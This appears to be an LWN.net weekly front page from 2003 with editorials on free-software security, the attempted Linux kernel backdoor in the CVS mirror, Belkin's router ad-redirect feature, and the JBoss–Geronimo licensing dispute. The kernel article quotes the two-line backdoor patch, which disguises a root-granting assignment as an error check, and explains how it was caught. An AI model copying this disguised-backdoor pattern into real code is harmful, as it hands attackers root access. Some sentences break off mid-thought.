Security is an important issue. Software users have been bitten by enough
security incidents now that they are beginning to really think about
whether a system they are considering deploying is sufficiently secure or
not. As a result, software vendors are beginning to feel some heat from
their customers on security. Among other things, security concerns have
led directly to two new initiatives from Microsoft: the payment of bounties
on information leading to the arrest of virus authors, and (apparently) an
upcoming publicity campaign which will try to demonstrate that Microsoft
products have a better security record than Linux.
Strangely enough, neither of those efforts will make Windows more secure in
any way. But they will raise the stakes with regard to security issues.
We should expect that, in the future, Linux-related security problems will
receive much more attention than they have in the past. If Microsoft is
out to prove itself more secure than Linux, it certainly will not waste any
PR opportunities resulting from Linux vulnerabilities.
There are many implications to note from an increased emphasis on the
perceived security of software products. Both developers and users of free
software will want to redouble their efforts to tighten up security. The
free software community may be better at the creation and deployment of
secure software than just about anybody else, but our record is still far
from good enough.
There is nothing new in the statement above. But consider for a moment the
recent attempt to insert a backdoor into the Linux kernel. There is no way
of knowing who was responsible for that attack, but it is worth
thinking about who might have benefitted from it. The attempted back door
- which did not enable remote attacks - would have been more useful for
publicity than for actual exploits. Somebody wanted to be able to
say that a vulnerability had been successfully planted in the Linux kernel.
Any company with an interest in attacking the security record of free
software - and there is more than one such company - would have gotten great
mileage out of this kind of demonstration.
It is safe to assume that there will be other attempts to insert malicious
code into free software releases; a high level of vigilance will be
required to detect and defeat those attempts.
The public perception of the relative security of operating systems has
become an issue that means real money to the companies involved. When free
software starts to eat too far into its competitors' bottom line, those
competitors can be expected to fight back. Not all of them will choose to
fight fairly; a quick look at the SCO case will verify that fact. Without
giving in to absolute paranoia, we should expect the debate around security
issues to take on a harsher edge. Things could get interesting, but this
is a fight we should win decisively by doing what we always do: developing
the best software we can with our users' needs in mind.
Comments (22 posted)
The mainline 2.4 and 2.6.0-test kernels are both currently maintained in
BitKeeper repositories. As a service for those who, for whatever reason,
are unable or unwilling to use BitKeeper, however, the folks at BitMover
have set up a separate CVS repository. That repository contains the
current code and the full revision history. It is not, however, the
place where new changes are committed. So, when somebody managed to push
some changes directly into CVS, Larry McVoy noticed
Over the years, people have had numerous things to say about BitKeeper and
the people behind it. Nobody, however, has accused them of being
insufficiently careful. Every change in the CVS repository includes
backlink information tying it to the equivalent BitKeeper changesets. The
changes in question lacked that information, and thus stood out
An attempt to make a change in this way is suspicious, to say the least, so
there was a lot of interest in what the attempted change was. The actual patch confirmed all suspicious; the
relevant code was:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
It looks much like a standard error check, until you notice that the code
is not testing current->uid - it is, instead setting it to
zero. A program which called wait4() with the given flags set
would, thereafter, be running as root. This is, in other words, a classic
The resulting vulnerability, had it ever made it to a deployed system,
would have been a locally-exploitable hole. Some sites have said that the
hole would have been susceptible to remote exploits, but that is not the
case. An attacker would need to be able to run a program on the target
But this attack never had any chance of corrupting the mainline kernel.
The CVS repository is generated from BitKeeper, it is not a path for
patches to get into the BitKeeper repositories. So the code in question
could only affect users who were working from the CVS repository. Kernels
used by distributors probably do not come from that repository, and, as
this incident has shown, illicit code can only remain there for so long
before being detected.
As it turns out, a successful attack on the public BitKeeper repositories
would not be a whole lot more effective. By its nature, BitKeeper works
with many copies of the repository; it is good for BitKeeper users that
disk space is cheap. The public 2.6 repository reflects all of Linus's
work, but it is not his repository. When Linus applies a set of
patches, he has to explicitly "push" his private repository to the public
server before the rest of the world sees it.
BitKeeper takes a very paranoid view of its data. Checksums are applied
all over the place, and a push from one repository to another can't be done if
the receiving repository has unknown changesets in it. So, if somebody
were to sneak something into the public repository, Linus would notice it
the next time he attempted a push of his own. At that point the red alert
could be sounded, and the only people affected would be those who
had pulled development kernels directly from the repository.
So the only way to get a back door into the kernel source - and to have it
be widely distributed - would be to get Linus or one of his top-tier
lieutenants to accept it directly. That would be a challenge, since these
people do actually look over code before accepting it. It is not entirely
impossible, however; a forged message to Linus appearing to contain a patch
from a trusted contributor might just be accepted. The development process
is reasonably secure, but not perfect.
For this reason, this episode has renewed a push to incorporate digital
signature checking into BitKeeper. If the source management system checked
such signatures automatically, the most obvious forgeries would be detected
before they were merged. Larry McVoy has indicated that he is willing to build such a
feature into the free (beer) version of BitKeeper. Whether the key kernel
hackers would be willing to start signing all of their patches is another
question. The pain of having to sign patches could well be far
less than the pain of dealing with a widely distributed backdoor in the
Comments (71 posted)
It must have seemed like a good idea to some marketing person at Belkin.
This company offers a "parental control" feature in it LAN router products
which, upon payment of a subscription fee, allow control over which sites
can be accessed. It would be nice (from Belkin's point of view) to be sure
that all customers are aware of the opportunity to buy this service. So
why not just redirect a random web connection every eight hours and have it
display an ad for the parental control service rather than the page the
user thought they were going to see?
Belkin thought this "feature" was not a particularly big deal. After all,
it can be turned off by changing a setting in the router configuration.
Or, if the user hits the "no thanks" button, a system owned by Belkin will
connect to the router over the net and turn off the feature for them.
Unless, of course, the router sits behind a firewall that might look
askance at connects to internal routers from the wider Internet.
This sort of episode demonstrates, again, why it is important to have our
gadgets powered by free software. Nobody should have to put up with a
router hijacking their HTTP connections to display advertisements at them.
Few of us want a router whose configuration can be silently changed via a
connection from the outside. And many of us would sure like to know what
other interesting "features" might have been included with such a product.
But, without the source, there is very little to be done. Bad (or
malicious) features cannot be fixed, and nobody can audit the code for any
other surprises that may be lurking within.
In the absence of source, there is only one feasible way to fix a problem
like Belkin's advertising feature: embarrass the manufacturer on the net
until they make a fix available. In this case, that approach appears to
have worked; Belkin has announced
that it will be releasing a firmware update which removes the
redirect feature. But we may never know what other features Belkin will
have worked into its products. Until our gadgets are powered by free
software, we will never really know what our appliances are doing and we
will lack the power to fix them.
Comments (9 posted)
is a project being
run under the Apache Software Foundation; it is an attempt to create a free
J2EE implementation under the Apache license. As such, it is a direct
competitor to JBoss
commercially-supported project which licenses its code under the Lesser
GPL. The JBoss Group has evidently been sufficiently concerned about
Geronimo to be watching the project and digging through its code repository.
They didn't like what they found; on November 10, the Apache Software
Foundation received a
letter (PDF format)
from JBoss's lawyers alleging that code had been
copied from JBoss into Geronimo.
Copying of code between free software projects is not always a concern;
indeed, the freedom to do so is one of the things that makes free software
great. This copying cannot happen, however, if the two projects do not
have compatible licenses. The JBoss code is licensed under the LGPL;
creating a derived product of that code under the Apache license is not an
action that the LGPL allows. So, if this copying has actually occurred,
and the person contributing the code to Geronimo did not have the right to
do so (by actually owning the copyright on that code, for example), the
JBoss Group may have a real point.
It would have been nice to resolve this issue without bringing in the
lawyers. Even so, the tone of the letter distinguishes the JBoss group
from other companies
which have been claiming that their code was copied. The letter proceeds
on the assumption that any such copying was not done intentionally, and it
provides some actual code examples. The Geronimo project has responded
accordingly; if there is any LGPL code in Geronimo, they don't want it
there and they will take the appropriate steps to get rid of it.
Thus far, however, the Geronimo developers seem unconvinced by the JBoss
Group's claims. An examination
of the examples provided by JBoss suggests that the code in question
may have a right to be there. Indeed, some of it appears to be derived from
other Apache-licensed code which somehow lost its copyright notices on its
way into JBoss. One of the code examples is no longer in the current
Geronimo code base, and has not been for a couple of months.
This is a situation which bears watching. The free software community
truly does not need a legal battle between two of its projects. It does
appear that the right things are being done, however; with luck, this
situation will be resolved in a friendly and professional manner, and
without further involvement of lawyers.
Comments (2 posted)
Page editor: Jonathan Corbet
Inside this week's LWN.net Weekly Edition
- Security: Security certification; Fedora updates; new vulnerabilities in epic, ethereal, hylafax, mpg123, ...
- Kernel: Disk I/O priorities; Proper use of <tt>vmalloc()</tt>; Accessing BK2CVS; Creating virtual filesystems.
- Distributions: New 1.0 Releases: OpenNA Linux, Gibraltar Firewall, Devil-Linux; Two new Debian installers.
- Development: Updates to the File Hierarchy Standard, Translucent X,
New versions of Firebird DB, PostgreSQL, CUPS, AOLserver,
Gallery, ht://Dig, Linux-VServer, GNUsound, XCircuit,
Samba, Free Pascal, Perl, SCons.
- Press: SCO targets film studios, sends subpoenas to Torvalds and Stallman,
UserLinux desktop Debian distribution, Linus interview.
- Announcements: Novell acquires SUSE, New Apache licenses?, Grid Wars Challenge,
Comdex Open Source Pavilion news, GUADEC 2004 in Norway.
- Letters: OpenSSL versions; Linux Gazette/